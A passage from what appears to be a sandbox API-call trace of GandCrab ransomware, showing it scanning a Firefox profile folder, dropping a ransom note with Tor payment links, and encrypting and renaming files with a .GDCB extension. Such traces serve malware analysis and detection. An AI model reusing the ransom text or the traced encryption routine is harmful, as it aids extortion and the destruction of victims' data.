lpString2="widevinecdm.dll" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll" [0055.731] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll") returned 121 [0055.731] lstrcmpW (lpString1=".dll", lpString2=".sql") returned -1 [0055.731] FindNextFileW (in: hFindFile=0x5dd188, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0055.731] lstrcmpW (lpString1="widevinecdm.dll.lib", lpString2=".") returned 1 [0055.731] lstrcmpW (lpString1="widevinecdm.dll.lib", lpString2="..") returned 1 [0055.731] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="widevinecdm.dll.lib" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib" [0055.731] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\widevinecdm.dll.lib") returned 125 [0055.731] lstrcmpW (lpString1=".lib", lpString2=".sql") returned -1 [0055.731] FindNextFileW (in: hFindFile=0x5dd188, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0055.731] FindClose (in: hFindFile=0x5dd188 | out: hFindFile=0x5dd188) returned 1 [0055.732] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.732] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\\\GDCB-DECRYPT.txt") returned 123 [0055.732] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x508 [0055.735] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.735] WriteFile (in: hFile=0x508, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e354, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e354*=0xad6, lpOverlapped=0x0) returned 1 [0055.735] CloseHandle (hObject=0x508) returned 1 [0055.735] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.735] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\") returned 106 [0055.735] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\*" [0055.735] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5dd548 [0055.736] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.736] FindNextFileW (in: hFindFile=0x5dd548, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.736] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.736] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.736] FindNextFileW (in: hFindFile=0x5dd548, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.736] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.736] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.736] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\GDCB-DECRYPT.txt" [0055.736] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.736] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\GDCB-DECRYPT.txt") returned 122 [0055.736] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\GDCB-DECRYPT.txt") returned 122 [0055.736] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\GDCB-DECRYPT.txt") returned 122 [0055.736] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\GDCB-DECRYPT.txt") returned 122 [0055.736] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.736] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.736] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.736] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.736] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.736] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.736] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.736] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.736] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.736] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.736] FindNextFileW (in: hFindFile=0x5dd548, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.736] lstrcmpW (lpString1="LICENSE.txt", lpString2=".") returned 1 [0055.736] lstrcmpW (lpString1="LICENSE.txt", lpString2="..") returned 1 [0055.736] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="LICENSE.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" [0055.736] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.737] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned 117 [0055.737] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned 117 [0055.737] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned 117 [0055.737] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned 117 [0055.737] lstrcmpiW (lpString1="LICENSE.txt", lpString2="desktop.ini") returned 1 [0055.737] lstrcmpiW (lpString1="LICENSE.txt", lpString2="autorun.inf") returned 1 [0055.738] lstrcmpiW (lpString1="LICENSE.txt", lpString2="ntuser.dat") returned -1 [0055.738] lstrcmpiW (lpString1="LICENSE.txt", lpString2="iconcache.db") returned 1 [0055.738] lstrcmpiW (lpString1="LICENSE.txt", lpString2="bootsect.bak") returned 1 [0055.738] lstrcmpiW (lpString1="LICENSE.txt", lpString2="boot.ini") returned 1 [0055.738] lstrcmpiW (lpString1="LICENSE.txt", lpString2="ntuser.dat.log") returned -1 [0055.738] lstrcmpiW (lpString1="LICENSE.txt", lpString2="thumbs.db") returned -1 [0055.738] lstrcmpiW (lpString1="LICENSE.txt", lpString2="GDCB-DECRYPT.txt") returned 1 [0055.738] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\license.txt")) returned 0x20 [0055.738] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt", dwFileAttributes=0x20) returned 1 [0055.738] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.738] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" [0055.739] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.GDCB" [0055.739] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x58fc60) returned 1 [0055.739] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.739] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.740] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.740] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0055.740] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.740] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.740] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x5901b0) returned 1 [0055.740] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.740] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.740] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.740] CryptGenRandom (in: hProv=0x5901b0, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0055.740] CryptReleaseContext (hProv=0x5901b0, dwFlags=0x0) returned 1 [0055.740] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.741] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.741] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.741] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x58fc60) returned 1 [0055.743] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x5dd748) returned 1 [0055.743] CryptGetKeyParam (in: hKey=0x5dd748, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0055.743] CryptEncrypt (in: hKey=0x5dd748, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285e2d4*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285e2d4*=0x100) returned 1 [0055.743] GetLastError () returned 0x0 [0055.743] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0055.743] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e15c*=0x58ff08) returned 1 [0055.746] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e160 | out: phKey=0x285e160*=0x5dd408) returned 1 [0055.746] CryptGetKeyParam (in: hKey=0x5dd408, dwParam=0x8, pbData=0x285e14c, pdwDataLen=0x285e154, dwFlags=0x0 | out: pbData=0x285e14c*=0x800, pdwDataLen=0x285e154*=0x4) returned 1 [0055.746] CryptEncrypt (in: hKey=0x5dd408, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285e2d8*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285e2d8*=0x100) returned 1 [0055.746] GetLastError () returned 0x0 [0055.746] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.746] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\license.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0055.746] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0055.746] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0055.747] ReadFile (in: hFile=0x50c, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e318, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285e318*=0x1df, lpOverlapped=0x0) returned 1 [0055.962] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0055.962] VirtualAlloc (lpAddress=0x0, dwSize=0x1e0, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0055.962] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.963] SetFilePointer (in: hFile=0x50c, lDistanceToMove=-479, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0055.963] WriteFile (in: hFile=0x50c, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x285e310, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285e310*=0x1e0, lpOverlapped=0x0) returned 1 [0055.971] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.971] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.974] WriteFile (in: hFile=0x50c, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e310, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285e310*=0x100, lpOverlapped=0x0) returned 1 [0055.975] WriteFile (in: hFile=0x50c, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285e310, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285e310*=0x100, lpOverlapped=0x0) returned 1 [0055.975] WriteFile (in: hFile=0x50c, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285e310, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285e310*=0x10, lpOverlapped=0x0) returned 1 [0055.975] CloseHandle (hObject=0x50c) returned 1 [0055.976] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.976] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.976] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.976] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\license.txt"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\LICENSE.txt.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\license.txt.gdcb")) returned 1 [0055.977] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.977] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.977] FindNextFileW (in: hFindFile=0x5dd548, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0055.977] lstrcmpW (lpString1="manifest.json", lpString2=".") returned 1 [0055.977] lstrcmpW (lpString1="manifest.json", lpString2="..") returned 1 [0055.977] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\", lpString2="manifest.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" [0055.977] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.977] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned 119 [0055.978] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned 119 [0055.978] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned 119 [0055.978] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned 119 [0055.978] lstrcmpiW (lpString1="manifest.json", lpString2="desktop.ini") returned 1 [0055.978] lstrcmpiW (lpString1="manifest.json", lpString2="autorun.inf") returned 1 [0055.978] lstrcmpiW (lpString1="manifest.json", lpString2="ntuser.dat") returned -1 [0055.978] lstrcmpiW (lpString1="manifest.json", lpString2="iconcache.db") returned 1 [0055.978] lstrcmpiW (lpString1="manifest.json", lpString2="bootsect.bak") returned 1 [0055.978] lstrcmpiW (lpString1="manifest.json", lpString2="boot.ini") returned 1 [0055.978] lstrcmpiW (lpString1="manifest.json", lpString2="ntuser.dat.log") returned -1 [0055.978] lstrcmpiW (lpString1="manifest.json", lpString2="thumbs.db") returned -1 [0055.978] lstrcmpiW (lpString1="manifest.json", lpString2="GDCB-DECRYPT.txt") returned 1 [0055.978] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json")) returned 0x20 [0055.978] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json", dwFileAttributes=0x20) returned 1 [0055.978] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0055.978] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json" [0055.978] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm\\1.4.8.903\\manifest.json.GDCB" [0055.978] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x58ff08) returned 1 [0055.979] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.979] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.979] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.979] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x10, pbBuffer=0x285e2bc | out: pbBuffer=0x285e2bc) returned 1 [0055.979] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.979] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.979] CryptAcquireContextW (in: phProv=0x285e16c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e16c*=0x58ff08) returned 1 [0055.979] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0055.980] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0055.980] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0055.980] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x20, pbBuffer=0x285e288 | out: pbBuffer=0x285e288) returned 1 [0055.980] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0055.980] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.980] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0055.980] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0055.980] CryptAcquireContextW (in: phProv=0x285e15c, szContainer=0x0, szProvider="Microsoft 